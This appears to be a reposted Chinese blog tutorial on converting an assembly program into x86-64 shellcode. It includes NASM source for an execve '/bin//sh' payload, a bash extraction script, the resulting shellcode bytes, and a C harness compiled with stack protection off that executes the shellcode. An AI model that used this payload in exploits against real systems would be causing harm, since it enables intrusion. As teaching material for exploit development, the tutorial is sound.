转换汇编到shellcode的过程
生活随笔
收集整理的這篇文章主要介紹了
转换汇编到shellcode的过程
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
匯編代碼如下:
section .textglobal _start _start:jmp shell here:xor rax,raxpop rdixor rsi,rsixor rdx,rdxadd rax,59syscall shell:call here bash db "/bin//sh"編譯執行過程如下:
jay@ubuntu:~/Desktop/bin2shell$ vim shell.asm jay@ubuntu:~/Desktop/bin2shell$ nasm -f elf64 shell.asm -o shell.o jay@ubuntu:~/Desktop/bin2shell$ ld shell.o -o shell jay@ubuntu:~/Desktop/bin2shell$ ./shell $ ls README.md bin2shell.sh shell shell.asm shell.o $ exit用如下bin2shell.sh 腳本將二進制的shell程序 轉為x86_64位的shellcode
#!/bin/bash for i in $(objdump -d $1 |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo原理:objdump -d后取帶數字的每行的第二個字段 并在其前加入 “\x“ 之后echo輸出
jay@ubuntu:~/Desktop/bin2shell$ objdump -d shellshell: file format elf64-x86-64Disassembly of section .text:0000000000400080 <_start>:400080: eb 10 jmp 400092 <shell>0000000000400082 <here>:400082: 48 31 c0 xor %rax,%rax400085: 5f pop %rdi400086: 48 31 f6 xor %rsi,%rsi400089: 48 31 d2 xor %rdx,%rdx40008c: 48 83 c0 3b add $0x3b,%rax400090: 0f 05 syscall 0000000000400092 <shell>:400092: e8 eb ff ff ff callq 400082 <here>0000000000400097 <bash>:400097: 2f (bad) 400098: 62 (bad) 400099: 69 .byte 0x6940009a: 6e outsb %ds:(%rsi),(%dx)40009b: 2f (bad) 40009c: 2f (bad) 40009d: 73 68 jae 400107 <bash+0x70>最后效果如下:
jay@ubuntu:~/Desktop/bin2shell$ ./bin2shell.sh shell \xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68最后利用shellcode的c代碼如下:
# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing#include<stdio.h> #include<string.h>unsigned char code[] = "\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68";main() {printf("Shellcode Length: %d\n", (int)strlen(code));int (*ret)() = (int(*)())code;//聲明一個函數指針 將code數組的地址轉換同一類型的指針并賦值ret();}代碼:https://github.com/tangsilian/SomeCode/tree/master/bin2shellcode
參考:
https://www.exploit-db.com/exploits/42791/
cut 命令解釋:https://www.ibm.com/support/knowledgecenter/zh/ssw_aix_72/com.ibm.aix.cmds1/cut.htm
轉載于:https://www.cnblogs.com/Tesi1a/p/7624052.html
總結
以上是生活随笔為你收集整理的转换汇编到shellcode的过程的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 同一master,两个slave的ser
- 下一篇: spring cloud + sprin